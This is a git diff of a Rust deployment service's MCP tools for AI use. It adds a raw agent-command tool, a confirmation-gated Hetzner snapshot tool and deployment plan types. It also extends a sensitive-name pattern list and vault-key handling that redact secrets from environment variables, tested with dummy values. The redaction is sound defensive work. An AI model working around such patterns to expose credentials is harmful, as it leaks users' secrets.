+        let identifier =
+            DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?;
+        let resolver = create_resolver(context);
+        let deployment_hash = resolver.resolve(&identifier).await?;
+
+        let mut request = crate::cli::stacker_client::AgentEnqueueRequest::new(
+            &deployment_hash,
+            &params.command_type,
+        );
+        if let Some(parameters) = params.parameters {
+            request = request.with_raw_parameters(parameters);
+        }
+        if let Some(timeout_seconds) = params.timeout_seconds {
+            request = request.with_timeout(timeout_seconds);
+        }
+
+        let result = enqueue_request_and_wait(
+            context,
+            &request,
+            params
+                .wait_timeout_seconds
+                .unwrap_or(COMMAND_RESULT_TIMEOUT_SECS),
+        )
+        .await?;
+
+        Ok(ToolContent::Text {
+            text: result.to_string(),
+        })
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "execute_agent_command".to_string(),
+            description: "Queue a raw low-level command directly to the Status Panel agent. Use ONLY when no other dedicated tool covers the operation (e.g. get_container_logs, restart_container, deploy_app). Do NOT call this for general project management, deployment, or app configuration — use the appropriate specific tool instead. Requires a valid command_type recognised by the agent.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "deployment_id": {
+                        "type": "number",
+                        "description": "The deployment/installation ID"
+                    },
+                    "deployment_hash": {
+                        "type": "string",
+                        "description": "The deployment hash"
+                    },
+                    "command_type": {
+                        "type": "string",
+                        "description": "Raw agent command type to enqueue"
+                    },
+                    "parameters": {
+                        "description": "Optional raw JSON parameters for the command",
+                        "oneOf": [
+                            { "type": "object" },
+                            { "type": "array" },
+                            { "type": "string" },
+                            { "type": "number" },
+                            { "type": "boolean" },
+                            { "type": "null" }
+                        ],
+                    },
+                    "timeout_seconds": {
+                        "type": "number",
+                        "description": "Optional agent-side timeout to store with the command request"
+                    },
+                    "wait_timeout_seconds": {
+                        "type": "number",
+                        "description": "How long MCP should wait for a terminal command result before returning queued status (default: 15)"
+                    }
+                },
+                "required": ["command_type"]
+            }),
+        }
+    }
+}
diff --git a/src/mcp/tools/ansible_roles.rs b/src/mcp/tools/ansible_roles.rs
index c3ab987a..959dadb8 100644
--- a/src/mcp/tools/ansible_roles.rs
+++ b/src/mcp/tools/ansible_roles.rs
@@ -49,11 +49,17 @@ pub struct RoleVariable {
 async fn fetch_roles_from_db(context: &ToolContext) -> Result<Vec<AnsibleRole>, String> {
     let user_service_url = &context.settings.user_service_url;
     let endpoint = format!("{}{}", user_service_url, POSTGREST_ROLE_ENDPOINT);
-    
+
     let client = reqwest::Client::new();
     let response = client
         .get(&endpoint)
-        .header("Authorization", format!("Bearer {}", context.user.access_token.as_deref().unwrap_or("")))
+        .header(
+            "Authorization",
+            format!(
+                "Bearer {}",
+                context.user.access_token.as_deref().unwrap_or("")
+            ),
+        )
         .send()
         .await
         .map_err(|e| format!("Failed to fetch roles from database: {}", e))?;
@@ -93,13 +99,13 @@ async fn fetch_roles_from_db(context: &ToolContext) -> Result<Vec<AnsibleRole>,
 /// Scan filesystem for available roles
 fn scan_roles_from_filesystem() -> Result<Vec<String>, String> {
     let roles_path = Path::new(ROLES_BASE_PATH);
-    
+
     if !roles_path.exists() {
         return Err(format!("Roles directory not found: {}", ROLES_BASE_PATH));
     }
 
     let mut roles = vec![];
-    
+
     if let Ok(entries) = std::fs::read_dir(roles_path) {
         for entry in entries.flatten() {
             if let Ok(file_type) = entry.file_type() {
@@ -114,7 +120,7 @@ fn scan_roles_from_filesystem() -> Result<Vec<String>, String> {
             }
         }
     }
-    
+
     roles.sort();
     Ok(roles)
 }
@@ -122,7 +128,7 @@ fn scan_roles_from_filesystem() -> Result<Vec<String>, String> {
 /// Get detailed information about a specific role from filesystem
 fn get_role_details_from_fs(role_name: &str) -> Result<AnsibleRole, String> {
     let role_path = PathBuf::from(ROLES_BASE_PATH).join(role_name);
-    
+
     if !role_path.exists() {
         return Err(format!("Role '{}' not found in filesystem", role_name));
     }
@@ -134,7 +140,10 @@ fn get_role_details_from_fs(role_name: &str) -> Result<AnsibleRole, String> {
         private_ports: vec![],
         variables: HashMap::new(),
         dependencies: vec![],
-        supported_os: vec!["ubuntu", "debian"].into_iter().map(|s| s.to_string()).collect(), // default
+        supported_os: vec!["ubuntu", "debian"]
+            .into_iter()
+            .map(|s| s.to_string())
+            .collect(), // default
     };
 
     // Parse README.md for description
@@ -144,11 +153,12 @@ fn get_role_details_from_fs(role_name: &str) -> Result<AnsibleRole, String> {
             // Extract first non-empty line after "Role Name" or "Description"
             for line in content.lines() {
                 let trimmed = line.trim();
-                if !trimmed.is_empty() 
+                if !trimmed.is_empty()
                     && !trimmed.starts_with('#')
                     && !trimmed.starts_with('=')
                     && !trimmed.starts_with('-')
-                    && trimmed.len() > 10 {
+                    && trimmed.len() > 10
+                {
                     role.description = Some(trimmed.to_string());
                     break;
                 }
@@ -187,16 +197,16 @@ fn parse_yaml_variable(line: &str) -> Option<(String, String)> {
     if trimmed.starts_with('#') || trimmed.starts_with("---") || trimmed.is_empty() {
         return None;
     }
-    
+
     if let Some(colon_pos) = trimmed.find(':') {
         let key = trimmed[..colon_pos].trim();
         let value = trimmed[colon_pos + 1..].trim();
-        
+
         if !key.is_empty() && !value.is_empty() {
             return Some((key.to_string(), value.to_string()));
         }
     }
-    
+
     None
 }
 
@@ -213,12 +223,15 @@ impl ToolHandler for ListAvailableRolesTool {
                 db_roles
             }
             Err(db_err) => {
-                tracing::warn!("Database fetch failed ({}), falling back to filesystem", db_err);
-                
+                tracing::warn!(
+                    "Database fetch failed ({}), falling back to filesystem",
+                    db_err
+                );
+
                 // Fallback to filesystem scan
                 let role_names = scan_roles_from_filesystem()?;
                 tracing::info!("Scanned {} roles from filesystem", role_names.len());
-                
+
                 role_names
                     .into_iter()
                     .map(|name| AnsibleRole {
@@ -506,9 +519,11 @@ impl ToolHandler for DeployRoleTool {
         // TODO: Implement actual Ansible playbook execution
         // This would interface with the Install Service or execute ansible-playbook directly
         // For now, return a placeholder response
-        
+
         let ssh_user = params.ssh_user.unwrap_or_else(|| "root".to_string());
-        let ssh_key = params.ssh_key_path.unwrap_or_else(|| "/root/.ssh/id_rsa".to_string());
+        let ssh_key = params
+            .ssh_key_path
+            .unwrap_or_else(|| "/root/.ssh/id_rsa".to_string());
 
         let result = json!({
             "status": "queued",
diff --git a/src/mcp/tools/cloud.rs b/src/mcp/tools/cloud.rs
index 975e9b05..15185dc8 100644
--- a/src/mcp/tools/cloud.rs
+++ b/src/mcp/tools/cloud.rs
@@ -1,68 +1,16 @@
 use async_trait::async_trait;
 use serde_json::{json, Value};
 
+use crate::connectors::{
+    fetch_app_service_catalog, HetznerCloudClient, HetznerCloudConnector, HetznerSnapshotTarget,
+};
 use crate::db;
+use crate::forms::CloudForm;
 use crate::mcp::protocol::{Tool, ToolContent};
 use crate::mcp::registry::{ToolContext, ToolHandler};
 use crate::models;
 use serde::Deserialize;
 
-fn app_service_base_url() -> String {
-    std::env::var("APP_SERVICE_URL").unwrap_or_else(|_| "http://app:4200".to_string())
-}
-
-fn is_supported_cloud_provider(provider: &str) -> bool {
-    matches!(
-        provider,
-        "do" | "htz" | "lo" | "scw" | "aws" | "gc" | "vu" | "ovh" | "upc" | "ali"
-    )
-}
-
-async fn fetch_app_service_catalog(
-    context: &ToolContext,
-    provider: &str,
-    resource: &str,
-    cloud_id: Option<i32>,
-) -> Result<Value, String> {
-    if !is_supported_cloud_provider(provider) {
-        return Err(
-            "Unsupported provider. Use one of: do, htz, lo, scw, aws, gc, vu, ovh, upc, ali"
-                .to_string(),
-        );
-    }
-
-    let base_url = app_service_base_url().trim_end_matches('/').to_string();
-    let mut url = format!("{}/{}/{}", base_url, provider, resource);
-
-    if let Some(cloud_id) = cloud_id {
-        url.push_str(&format!("?cloud_id={}", cloud_id));
-    }
-
-    let token = context.user.access_token.as_deref().unwrap_or("");
-    let client = reqwest::Client::new();
-    let mut request = client.get(&url);
-
-    if !token.is_empty() {
-        request = request.header("Authorization", format!("Bearer {}", token));
-    }
-
-    let response = request
-        .send()
-        .await
-        .map_err(|e| format!("Failed to call App Service: {}", e))?;
-
-    if !response.status().is_success() {
-        let status = response.status();
-        let body = response.text().await.unwrap_or_default();
-        return Err(format!("App Service error {}: {}", status, body));
-    }
-
-    response
-        .json::<Value>()
-        .await
-        .map_err(|e| format!("Failed to parse App Service response: {}", e))
-}
-
 /// List user's cloud credentials
 pub struct ListCloudsTool;
 
@@ -327,10 +275,10 @@ impl ToolHandler for ListCloudRegionsTool {
             serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
 
         let payload = fetch_app_service_catalog(
-            context,
             &params.provider.to_lowercase(),
             "regions",
             params.cloud_id,
+            context.user.access_token.as_deref(),
         )
         .await?;
 
@@ -342,8 +290,7 @@ impl ToolHandler for ListCloudRegionsTool {
     fn schema(&self) -> Tool {
         Tool {
             name: "list_cloud_regions".to_string(),
-            description: "List available regions from App Service for a cloud provider"
-                .to_string(),
+            description: "List available regions from App Service for a cloud provider".to_string(),
             input_schema: json!({
                 "type": "object",
                 "properties": {
@@ -380,10 +327,10 @@ impl ToolHandler for ListCloudServerSizesTool {
             serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
 
         let payload = fetch_app_service_catalog(
-            context,
             &params.provider.to_lowercase(),
             "servers",
             params.cloud_id,
+            context.user.access_token.as_deref(),
         )
         .await?;
 
@@ -433,10 +380,10 @@ impl ToolHandler for ListCloudImagesTool {
             serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
 
         let payload = fetch_app_service_catalog(
-            context,
             &params.provider.to_lowercase(),
             "images",
             params.cloud_id,
+            context.user.access_token.as_deref(),
         )
         .await?;
 
@@ -468,3 +415,259 @@ impl ToolHandler for ListCloudImagesTool {
         }
     }
 }
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Server Snapshot Tool
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[derive(Debug, Deserialize)]
+struct RequestServerSnapshotArgs {
+    #[serde(default)]
+    server_id: Option<i32>,
+    #[serde(default)]
+    deployment_id: Option<i64>,
+    #[serde(default)]
+    deployment_hash: Option<String>,
+    #[serde(default)]
+    provider_server_id: Option<i64>,
+    #[serde(default)]
+    description: Option<String>,
+    #[serde(default)]
+    reason: Option<String>,
+    #[serde(default)]
+    confirm_snapshot: Option<bool>,
+}
+
+pub struct RequestServerSnapshotTool;
+
+#[async_trait]
+impl ToolHandler for RequestServerSnapshotTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        let params: RequestServerSnapshotArgs =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+
+        if params.confirm_snapshot != Some(true) {
+            let response = json!({
+                "status": "confirmation_required",
+                "snapshot_required": true,
+                "message": "Creating a cloud snapshot is a provider write operation. Re-run with confirm_snapshot=true after user approval before risky remote troubleshooting.",
+                "risky_operations": [
+                    "remote_exec",
+                    "direct_ssh_remediation",
+                    "restart_container",
+                    "stop_container",
+                    "remove_app",
+                    "deploy_app_with_force_overwrite",
+                    "proxy_or_firewall_changes"
+                ],
+                "required_argument": "confirm_snapshot"
+            });
+            return Ok(ToolContent::Text {
+                text: response.to_string(),
+            });
+        }
+
+        let server = resolve_snapshot_server(context, &params).await?;
+        let cloud_id = server.cloud_id.ok_or_else(|| {
+            "Server has no linked cloud credential for snapshot creation".to_string()
+        })?;
+        let cloud = db::cloud::fetch(&context.pg_pool, cloud_id)
+            .await
+            .map_err(|e| format!("Cloud error: {}", e))?
+            .ok_or_else(|| "Linked cloud credential not found".to_string())?;
+        if cloud.user_id != context.user.id {
+            return Err("Unauthorized: cloud credential does not belong to this user".to_string());
+        }
+
+        let provider = normalize_snapshot_provider(&cloud.provider);
+        if provider != "hetzner" {
+            return Err(format!(
+                "Server snapshots are currently supported for Hetzner only; provider was {}",
+                cloud.provider
+            ));
+        }
+
+        let cloud = if cloud.save_token == Some(true) {
+            CloudForm::decode_model(cloud, true)
+        } else {
+            cloud
+        };
+        let token = cloud
+            .cloud_token
+            .as_deref()
+            .map(str::trim)
+            .filter(|value| !value.is_empty())
+            .ok_or_else(|| "Hetzner snapshot requires a valid saved cloud token".to_string())?;
+
+        let description = params.description.clone().unwrap_or_else(|| {
+            let reason = params
+                .reason
+                .as_deref()
+                .map(str::trim)
+                .filter(|value| !value.is_empty())
+                .unwrap_or("AI-assisted troubleshooting");
+            format!(
+                "Stacker pre-troubleshooting snapshot for server {}: {}",
+                server.id, reason
+            )
+        });
+
+        let target = HetznerSnapshotTarget {
+            provider_server_id: params.provider_server_id,
+            server_name: server
+                .name
+                .clone()
+                .map(|value| value.trim().to_string())
+                .filter(|value| !value.is_empty()),
+            public_ip: server
+                .srv_ip
+                .clone()
+                .map(|value| value.trim().to_string())
+                .filter(|value| !value.is_empty()),
+        };
+
+        if target.provider_server_id.is_none()
+            && target.server_name.is_none()
+            && target.public_ip.is_none()
+        {
+            return Err(
+                "Cannot match Hetzner server: provide provider_server_id or save server name/public IP"
+                    .to_string(),
+            );
+        }
+
+        let connector = HetznerCloudClient::from_env()
+            .map_err(|e| format!("Failed to initialize Hetzner connector: {}", e))?;
+        let snapshot = connector
+            .create_server_snapshot(token, target, &description)
+            .await
+            .map_err(|e| format!("Hetzner snapshot request failed: {}", e))?;
+
+        tracing::info!(
+            user_id = %context.user.id,
+            server_id = server.id,
+            cloud_id = cloud_id,
+            action_id = snapshot.action_id,
+            image_id = ?snapshot.image_id,
+            "Requested Hetzner server snapshot via MCP"
+        );
+
+        let response = json!({
+            "status": "snapshot_requested",
+            "provider": "hetzner",
+            "server_id": server.id,
+            "snapshot": snapshot,
+            "message": "Hetzner snapshot request accepted. Wait for the action/image to complete before high-risk remediation."
+        });
+        Ok(ToolContent::Text {
+            text: response.to_string(),
+        })
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "request_server_snapshot".to_string(),
+            description: "Request a cloud snapshot for a remote server before risky AI-assisted troubleshooting. Hetzner is supported first. This is a provider write operation and requires confirm_snapshot=true.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "server_id": {
+                        "type": "number",
+                        "description": "Stacker server ID. Preferred when available."
+                    },
+                    "deployment_id": {
+                        "type": "number",
+                        "description": "Stacker deployment/installation ID to locate the linked server."
+                    },
+                    "deployment_hash": {
+                        "type": "string",
+                        "description": "Deployment hash to locate the linked server."
+                    },
+                    "provider_server_id": {
+                        "type": "number",
+                        "description": "Optional Hetzner server ID. If omitted Stacker matches by saved public IP or server name."
+                    },
+                    "description": {
+                        "type": "string",
+                        "description": "Snapshot description stored at the provider. Do not include secrets."
+                    },
+                    "reason": {
+                        "type": "string",
+                        "description": "Human-readable reason for the snapshot request."
+                    },
+                    "confirm_snapshot": {
+                        "type": "boolean",
+                        "description": "Must be true after explicit user approval because this creates a provider snapshot."
+                    }
+                },
+                "required": ["confirm_snapshot"]
+            }),
+        }
+    }
+}
+
+async fn resolve_snapshot_server(
+    context: &ToolContext,
+    params: &RequestServerSnapshotArgs,
+) -> Result<models::Server, String> {
+    if let Some(server_id) = params.server_id {
+        let server = db::server::fetch(&context.pg_pool, server_id)
+            .await?
+            .ok_or_else(|| "Server not found".to_string())?;
+        if server.user_id != context.user.id {
+            return Err("Unauthorized: server does not belong to this user".to_string());
+        }
+        return Ok(server);
+    }
+
+    let deployment = if let Some(hash) = params.deployment_hash.as_deref() {
+        db::deployment::fetch_by_deployment_hash(&context.pg_pool, hash)
+            .await?
+            .ok_or_else(|| "Deployment not found for deployment_hash".to_string())?
+    } else if let Some(deployment_id) = params.deployment_id {
+        db::deployment::fetch(&context.pg_pool, deployment_id as i32)
+            .await?
+            .ok_or_else(|| "Deployment not found for deployment_id".to_string())?
+    } else {
+        return Err("Provide server_id, deployment_id, or deployment_hash".to_string());
+    };
+
+    if deployment.user_id.as_deref() != Some(context.user.id.as_str()) {
+        let project = db::project::fetch(&context.pg_pool, deployment.project_id)
+            .await
+            .map_err(|e| format!("Project lookup failed: {}", e))?
+            .ok_or_else(|| "Project not found for deployment".to_string())?;
+        if project.user_id != context.user.id {
+            return Err("Unauthorized: deployment does not belong to this user".to_string());
+        }
+    }
+
+    let mut servers = db::server::fetch_by_project(&context.pg_pool, deployment.project_id).await?;
+    servers.retain(|server| server.user_id == context.user.id);
+    servers
+        .into_iter()
+        .find(|server| server.cloud_id.is_some())
+        .ok_or_else(|| {
+            "No cloud-backed server found for deployment project; pass server_id".to_string()
+        })
+}
+
+fn normalize_snapshot_provider(provider: &str) -> String {
+    match provider.trim().to_lowercase().as_str() {
+        "htz" | "hcloud" | "hetzner_cloud" => "hetzner".to_string(),
+        other => other.to_string(),
+    }
+}
+
+#[cfg(test)]
+mod snapshot_tool_tests {
+    use super::normalize_snapshot_provider;
+
+    #[test]
+    fn snapshot_provider_normalizes_hetzner_aliases() {
+        assert_eq!(normalize_snapshot_provider("hetzner"), "hetzner");
+        assert_eq!(normalize_snapshot_provider("htz"), "hetzner");
+        assert_eq!(normalize_snapshot_provider("hcloud"), "hetzner");
+        assert_eq!(normalize_snapshot_provider("hetzner_cloud"), "hetzner");
+    }
+}
diff --git a/src/mcp/tools/compose.rs b/src/mcp/tools/compose.rs
index 5a196d58..500ec4c9 100644
--- a/src/mcp/tools/compose.rs
+++ b/src/mcp/tools/compose.rs
@@ -134,13 +134,13 @@ impl ToolHandler for CloneProjectTool {
     fn schema(&self) -> Tool {
         Tool {
             name: "clone_project".to_string(),
-            description: "Clone/duplicate an existing project with a new name".to_string(),
+            description: "Duplicate an existing project into a new one with a different name. ONLY use this when the user explicitly asks to clone or copy an existing project. Do NOT use this to create a new blank project — use create_project for that.".to_string(),
             input_schema: json!({
                 "type": "object",
                 "properties": {
                     "project_id": {
                         "type": "number",
-                        "description": "Project ID to clone"
+                        "description": "ID of the existing project to copy"
                     },
                     "new_name": {
                         "type": "string",
@@ -442,6 +442,7 @@ impl ToolHandler for DiscoverStackServicesTool {
                 "networks": svc.networks,
                 "depends_on": svc.depends_on,
                 "environment_count": svc.environment.len(),
+                "has_healthcheck": svc.healthcheck.is_some(),
                 "has_command": svc.command.is_some(),
                 "has_entrypoint": svc.entrypoint.is_some(),
                 "labels_count": svc.labels.len(),
@@ -518,6 +519,7 @@ impl ToolHandler for DiscoverStackServicesTool {
                 new_app.command = svc.command.clone();
                 new_app.entrypoint = svc.entrypoint.clone();
                 new_app.restart_policy = svc.restart.clone();
+                new_app.healthcheck = svc.healthcheck.clone();
 
                 // Convert labels to JSON
                 if !svc.labels.is_empty() {
diff --git a/src/mcp/tools/config.rs b/src/mcp/tools/config.rs
index 8a0957cd..e3e6849b 100644
--- a/src/mcp/tools/config.rs
+++ b/src/mcp/tools/config.rs
@@ -9,12 +9,14 @@
 //! Configuration changes are staged and applied on next deployment/restart.
 
 use async_trait::async_trait;
-use serde_json::{json, Value};
+use serde_json::{json, Map, Value};
+use std::collections::{BTreeSet, HashSet};
 
 use crate::db;
 use crate::mcp::protocol::{Tool, ToolContent};
 use crate::mcp::registry::{ToolContext, ToolHandler};
-use serde::Deserialize;
+use crate::services::env_model::normalize_json_env;
+use serde::{Deserialize, Serialize};
 
 /// Get environment variables for an app in a project
 pub struct GetAppEnvVarsTool;
@@ -52,16 +54,26 @@ impl ToolHandler for GetAppEnvVarsTool {
         .ok_or_else(|| format!("App '{}' not found in project", params.app_code))?;
 
         // Parse environment variables from app config
-        // Redact sensitive values for AI safety
         let env_vars = app.environment.clone().unwrap_or_default();
-        let redacted_env = redact_sensitive_env_vars(&env_vars);
+        let secure_keys = load_remote_secret_names(
+            &context.pg_pool,
+            &context.user.id,
+            params.project_id,
+            &params.app_code,
+        )
+        .await?;
+        let redacted_env = redact_sensitive_env_vars_with_secure_keys(&env_vars, &secure_keys);
+        let env_entries = build_env_var_entries(&env_vars, &secure_keys);
+        let secure_count = env_entries.iter().filter(|entry| entry.secure).count();
 
         let result = json!({
             "project_id": params.project_id,
             "app_code": params.app_code,
             "environment_variables": redacted_env,
+            "environment_entries": env_entries,
             "count": redacted_env.as_object().map(|o| o.len()).unwrap_or(0),
-            "note": "Sensitive values (passwords, tokens, keys) are redacted for security."
+            "secure_count": secure_count,
+            "note": "Sensitive values are redacted for security. Vault-backed variables are marked with secure=true."
         });
 
         tracing::info!(
@@ -660,11 +672,91 @@ impl ToolHandler for UpdateAppDomainTool {
 
 // Helper functions
 
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+struct AppEnvVarEntry {
+    name: String,
+    value: String,
+    secure: bool,
+    redacted: bool,
+    source: String,
+}
+
+async fn load_remote_secret_names(
+    pool: &sqlx::PgPool,
+    user_id: &str,
+    project_id: i32,
+    app_code: &str,
+) -> Result<HashSet<String>, String> {
+    db::remote_secret::list_service_secrets(pool, user_id, project_id, app_code)
+        .await
+        .map(|secrets| secrets.into_iter().map(|secret| secret.name).collect())
+        .map_err(|error| format!("Failed to load remote service secrets: {}", error))
+}
+
 /// Redact sensitive environment variable values
 fn redact_sensitive_env_vars(env: &Value) -> Value {
+    redact_sensitive_env_vars_with_secure_keys(env, &HashSet::new())
+}
+
+fn redact_sensitive_env_vars_with_secure_keys(env: &Value, secure_keys: &HashSet<String>) -> Value {
+    let mut normalized = normalize_environment_object(env);
+    for key in secure_keys {
+        normalized.insert(key.clone(), json!("[REDACTED]"));
+    }
+
+    let redacted = normalized
+        .into_iter()
+        .map(|(key, value)| {
+            if should_redact_env_var(&key, secure_keys) {
+                (key, json!("[REDACTED]"))
+            } else {
+                (key, value)
+            }
+        })
+        .collect();
+
+    Value::Object(redacted)
+}
+
+fn build_env_var_entries(env: &Value, secure_keys: &HashSet<String>) -> Vec<AppEnvVarEntry> {
+    let normalized = normalize_environment_object(env);
+    let mut keys: BTreeSet<String> = normalized.keys().cloned().collect();
+    keys.extend(secure_keys.iter().cloned());
+
+    keys.into_iter()
+        .map(|name| {
+            let secure = secure_keys.contains(&name);
+            let redacted = should_redact_env_var(&name, secure_keys);
+            let value = if redacted {
+                "[REDACTED]".to_string()
+            } else {
+                stringify_env_value(normalized.get(&name))
+            };
+
+            AppEnvVarEntry {
+                name,
+                value,
+                secure,
+                redacted,
+                source: if secure {
+                    "vault".to_string()
+                } else {
+                    "project".to_string()
+                },
+            }
+        })
+        .collect()
+}
+
+fn should_redact_env_var(name: &str, secure_keys: &HashSet<String>) -> bool {
+    secure_keys.contains(name) || is_sensitive_env_var_name(name)
+}
+
+fn is_sensitive_env_var_name(name: &str) -> bool {
     const SENSITIVE_PATTERNS: &[&str] = &[
         "password",
         "passwd",
+        "username",
         "secret",
         "token",
         "key",
@@ -680,25 +772,24 @@ fn redact_sensitive_env_vars(env: &Value) -> Value {
         "refresh_token",
     ];
 
-    if let Some(obj) = env.as_object() {
-        let redacted: serde_json::Map<String, Value> = obj
-            .iter()
-            .map(|(k, v)| {
-                let key_lower = k.to_lowercase();
-                let is_sensitive = SENSITIVE_PATTERNS
-                    .iter()
-                    .any(|pattern| key_lower.contains(pattern));
-
-                if is_sensitive {
-                    (k.clone(), json!("[REDACTED]"))
-                } else {
-                    (k.clone(), v.clone())
-                }
-            })
-            .collect();
-        Value::Object(redacted)
-    } else {
-        env.clone()
+    let key_lower = name.to_lowercase();
+    SENSITIVE_PATTERNS
+        .iter()
+        .any(|pattern| key_lower.contains(pattern))
+}
+
+fn normalize_environment_object(env: &Value) -> Map<String, Value> {
+    normalize_json_env(env)
+        .into_iter()
+        .map(|(key, value)| (key, Value::String(value)))
+        .collect()
+}
+
+fn stringify_env_value(value: Option<&Value>) -> String {
+    match value {
+        Some(Value::String(text)) => text.clone(),
+        Some(other) => other.to_string(),
+        None => String::new(),
     }
 }
 
@@ -1185,6 +1276,9 @@ mod tests {
             "DATABASE_URL": "postgres://localhost",
             "DB_PASSWORD": "secret123",
             "API_KEY": "key-abc-123",
+            "REGISTRY_USERNAME": "registry-user",
+            "VAULT_TOKEN": "vault-token-value",
+            "INTERNAL_SERVICES_ACCESS_KEY": "internal-access-key",
             "LOG_LEVEL": "debug",
             "PORT": "8080"
         });
@@ -1195,7 +1289,60 @@ mod tests {
         assert_eq!(obj.get("DATABASE_URL").unwrap(), "postgres://localhost");
         assert_eq!(obj.get("DB_PASSWORD").unwrap(), "[REDACTED]");
         assert_eq!(obj.get("API_KEY").unwrap(), "[REDACTED]");
+        assert_eq!(obj.get("REGISTRY_USERNAME").unwrap(), "[REDACTED]");
+        assert_eq!(obj.get("VAULT_TOKEN").unwrap(), "[REDACTED]");
+        assert_eq!(
+            obj.get("INTERNAL_SERVICES_ACCESS_KEY").unwrap(),
+            "[REDACTED]"
+        );
         assert_eq!(obj.get("LOG_LEVEL").unwrap(), "debug");
         assert_eq!(obj.get("PORT").unwrap(), "8080");
     }
+
+    #[test]
+    fn test_redact_secure_vault_vars_even_without_sensitive_name() {
+        let env = json!({
+            "LOG_LEVEL": "debug"
+        });
+        let secure_keys = HashSet::from([String::from("MYSECURE_PASSPHRASE")]);
+
+        let redacted = redact_sensitive_env_vars_with_secure_keys(&env, &secure_keys);
+        let obj = redacted.as_object().unwrap();
+
+        assert_eq!(obj.get("LOG_LEVEL").unwrap(), "debug");
+        assert_eq!(obj.get("MYSECURE_PASSPHRASE").unwrap(), "[REDACTED]");
+    }
+
+    #[test]
+    fn test_build_env_var_entries_marks_vault_vars_secure() {
+        let env = json!({
+            "LOG_LEVEL": "debug",
+            "MYSECURE_TOKEN": "ignored-local"
+        });
+        let secure_keys = HashSet::from([String::from("MYSECURE_PASSPHRASE")]);
+
+        let entries = build_env_var_entries(&env, &secure_keys);
+
+        assert!(entries.contains(&AppEnvVarEntry {
+            name: "LOG_LEVEL".to_string(),
+            value: "debug".to_string(),
+            secure: false,
+            redacted: false,
+            source: "project".to_string(),
+        }));
+        assert!(entries.contains(&AppEnvVarEntry {
+            name: "MYSECURE_PASSPHRASE".to_string(),
+            value: "[REDACTED]".to_string(),
+            secure: true,
+            redacted: true,
+            source: "vault".to_string(),
+        }));
+        assert!(entries.contains(&AppEnvVarEntry {
+            name: "MYSECURE_TOKEN".to_string(),
+            value: "[REDACTED]".to_string(),
+            secure: false,
+            redacted: true,
+            source: "project".to_string(),
+        }));
+    }
 }
diff --git a/src/mcp/tools/deployment.rs b/src/mcp/tools/deployment.rs
index bc0bd364..4a98c9fb 100644
--- a/src/mcp/tools/deployment.rs
+++ b/src/mcp/tools/deployment.rs
@@ -1,59 +1,420 @@
 use async_trait::async_trait;
+use serde::{Deserialize, Serialize};
 use serde_json::{json, Value};
 
+use crate::cli::stacker_client::StackerClient;
 use crate::connectors::user_service::UserServiceDeploymentResolver;
 use crate::db;
 use crate::mcp::protocol::{Tool, ToolContent};
 use crate::mcp::registry::{ToolContext, ToolHandler};
-use crate::services::{DeploymentIdentifier, DeploymentResolver};
-use serde::Deserialize;
+use crate::models::{Command, CommandPriority, Deployment};
+use crate::services::{
+    build_deploy_plan, build_rollback_plan, resolve_rollback_plan_context, DeployPlan,
+    DeployPlanAction, DeployPlanOperation, DeployPlanRollback, DeployPlanScope,
+    DeploymentAgentState, DeploymentDriftState, DeploymentEvent, DeploymentEventFeed,
+    DeploymentIdentifier, DeploymentLastCommandState, DeploymentProjectState, DeploymentResolver,
+    DeploymentRuntimeState, DeploymentState, DeploymentStateDeployment, TypedErrorCode,
+    TypedErrorEnvelope, TypedRemediationClass, DEPLOY_PLAN_SCHEMA_VERSION,
+};
 
 /// Get deployment status
 pub struct GetDeploymentStatusTool;
+pub struct GetDeploymentStateTool;
+pub struct GetDeploymentPlanTool;
+pub struct GetDeploymentEventsTool;
+pub struct ApplyDeploymentPlanTool;
 
-#[async_trait]
-impl ToolHandler for GetDeploymentStatusTool {
-    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
-        #[derive(Deserialize)]
-        struct Args {
-            #[serde(default)]
-            deployment_id: Option<i64>,
-            #[serde(default)]
-            deployment_hash: Option<String>,
+const COMMAND_RESULT_TIMEOUT_SECS: u64 = 15;
+const COMMAND_POLL_INTERVAL_MS: u64 = 500;
+
+#[derive(Serialize)]
+#[serde(rename_all = "camelCase")]
+struct McpDeploymentStatusResponse {
+    id: i32,
+    project_id: i32,
+    deployment_hash: String,
+    status: String,
+    runtime: String,
+    created_at: chrono::DateTime<chrono::Utc>,
+    updated_at: chrono::DateTime<chrono::Utc>,
+}
+
+#[derive(Serialize)]
+#[serde(rename_all = "camelCase")]
+struct McpStartDeploymentResponse {
+    id: i32,
+    project_id: i32,
+    status: String,
+    deployment_hash: String,
+    created_at: chrono::DateTime<chrono::Utc>,
+    message: String,
+}
+
+#[derive(Serialize)]
+#[serde(rename_all = "camelCase")]
+struct McpCancelDeploymentResponse {
+    deployment_id: i32,
+    status: String,
+    message: String,
+}
+
+#[derive(Serialize)]
+#[serde(rename_all = "camelCase")]
+struct McpDeploymentStateResponse {
+    schema_version: String,
+    project: DeploymentProjectState,
+    deployment: DeploymentStateDeployment,
+    agent: DeploymentAgentState,
+    runtime: DeploymentRuntimeState,
+    apps: Vec<crate::services::DeploymentAppState>,
+    drift: DeploymentDriftState,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    last_command: Option<DeploymentLastCommandState>,
+}
+
+#[derive(Serialize)]
+#[serde(rename_all = "camelCase")]
+struct McpDeploymentPlanResponse {
+    schema_version: String,
+    deployment_hash: String,
+    operation: DeployPlanOperation,
+    target: String,
+    fingerprint: String,
+    scope: DeployPlanScope,
+    has_changes: bool,
+    actions: Vec<DeployPlanAction>,
+    reasoning: Vec<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
